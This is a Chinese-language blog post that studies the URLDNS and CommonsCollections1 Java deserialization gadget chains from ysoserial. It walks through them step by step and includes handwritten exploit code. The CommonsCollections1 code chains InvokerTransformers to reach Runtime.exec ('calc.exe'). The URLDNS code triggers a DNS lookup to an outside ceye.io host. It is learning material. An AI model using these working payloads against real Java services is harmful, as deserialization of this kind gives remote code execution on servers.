ysoserial-除錯分析總結篇(1)
前言:
ysoserial很強大,花時間好好研究研究其中的利用鏈對於瞭解java語言的一些特性很有幫助,也方便打好學習java安全的基礎,剛學反序列化時就分析過commoncollections,但是是跟著網上教程,自己理解也不夠充分,現在重新根據自己的除錯進行理解,這篇文章先分析URLDNS和commonCollections1
利用鏈分析:
1.urldns
呼叫鏈如上圖所示,由hashmap的key進行hash計算時,如果key為URL類的物件,則呼叫key.hashcode實際為呼叫了URL類物件的hashcode,從而觸發dns解析,這個手寫exp也比較容易,設定hashCode為1為了putval時候重新計算hash,否則直接返回hashCode就觸發不了dns解析了
到這裡將觸發呼叫URL類的hashCode
exp.java:
package URLDNS; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.Arrays; import java.util.HashMap; public class URLDNS { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap<URL, String> obj = new HashMap<URL, String>(); String url = "http://p9tdlo.ceye.io"; URL a_url = new URL(url); Class clazz = Class.forName("java.net.URL"); Field field = null; field = clazz.getDeclaredField("hashCode"); field.setAccessible(true); field.set(a_url,-1); obj.put(a_url,"tr1ple"); // //序列化 // FileOutputStream fo = new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/urldns.ser"); ObjectOutputStream obj_out = new ObjectOutputStream(fo); obj_out.writeObject(obj); obj_out.close(); ByteArrayOutputStream bo = new ByteArrayOutputStream(); ObjectOutputStream bo_obj = new ObjectOutputStream(bo); bo_obj.writeObject(obj); bo_obj.close(); String bo_str = Arrays.toString(bo.toByteArray()); System.out.println("serialize byte code"); System.out.println(bo_str); } }
read.java
package URLDNS; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class ReadObj { public static void main(String[] args) throws IOException, ClassNotFoundException { // System.out.println(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/4.ser"); ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/urldns.ser")); o.readObject(); } }
2.commonCollections1
呼叫鏈如上圖所示
反序列化首先從invokecationhandler的readObject開始
然後呼叫lazymap的readObject
這裡是因為構造payload的時候,實際上將proxy.newinstance建立的proxy代理類傳進handler,那麼實際上反序列化的時候根據序列化資料的排列順序,應該首先呼叫外層invokecationhandler的readObject,然後呼叫內部成員變數的readObject
原因正是在反序列化正常的流程中,defaultReadFields方法,讀取序列化資料,其入口引數即外部的物件,以及該物件的類
在該函式內部將讀取外層物件的域,並依次將其反序列化,所以這裡實際上invocationhandler只是一個容器作用,將實際要反序列化的代理proxy放進去,然後就會呼叫proxy的readObject(),然後恢復代理的lazpmap,包括後面還要進行hashmap的readObject(lazymap作為容器將其裝進去),恢復hashmap
將所有物件還原後,在invokecationhandler的readObject中將呼叫memerValues.entrySet,而我們知道被裝進容器的是被代理的lazymap類,此時呼叫proxy代理的entrySet,那麼此時將觸發代理類的invoke函式
此時將handler中不存在entryset,此時將呼叫lazymap.get(“entrySet”)
在get函式中將呼叫this.factory.transform,而此時this.factory為定義的用於執行命令的轉換鏈
在chained轉換鏈中,將迴圈呼叫屬性iTranformers中的transformer方法
第一次:
第一次呼叫ConstantTransformer類,將直接返回iConstant
而此時即返回類Runtime
第二次:
第二次迴圈進來即呼叫invokeTransformer來反射呼叫方法,並且返回object,並且這裡面的方法名,和引數都是可控的,因此才能夠在這裡定義rce的命令,能夠找到這種能夠利用的類真的是牛逼。。
那麼反射先拿到java.lang.class ,按道理拿到類Runtime,就可以直接反射getRunme方法,這裡拿到getMethod方法,然後再反射呼叫Runtime的getMethod拿到getRuntime方法
第三次:
這裡實際上就是反射呼叫getRuntime了,此時將返回Runtime類的例項
第4輪:
此時已經有了Runtime類的例項,就可以呼叫exec執行命令了
此時將RCE執行clac.exe
瞭解完整個觸發以及呼叫過程就可以手寫exp了,方便加深對該利用鏈的認識
手寫exp:
exp.java
package CommonsCollections1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.Runtime; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; //import sun.reflect.annotation.AnnotationInvocationHandler; import java.util.Map; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Proxy; import java.lang.reflect.InvocationHandler; public class exp { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { final Transformer[] trans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ),//拿到getruntime方法 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]}),//拿到runtime類 new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})//rce }; final Transformer chained = new ChainedTransformer(trans); final Map innerMap = new HashMap(); final Map outMap = LazyMap.decorate(innerMap,chained); final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; han_con.setAccessible(true); InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap); final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han); final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; out_con.setAccessible(true); InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy); FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser")); ObjectOutputStream obj = new ObjectOutputStream(fo); obj.writeObject(out); obj.close(); } }
readObj.java
package CommonsCollections1; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.lang.Runtime; //jdk<=8u71 // public class readObj { public static void main(String[] args) throws IOException { FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"); ObjectInputStream obj_in = new ObjectInputStream(fi); try { obj_in.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }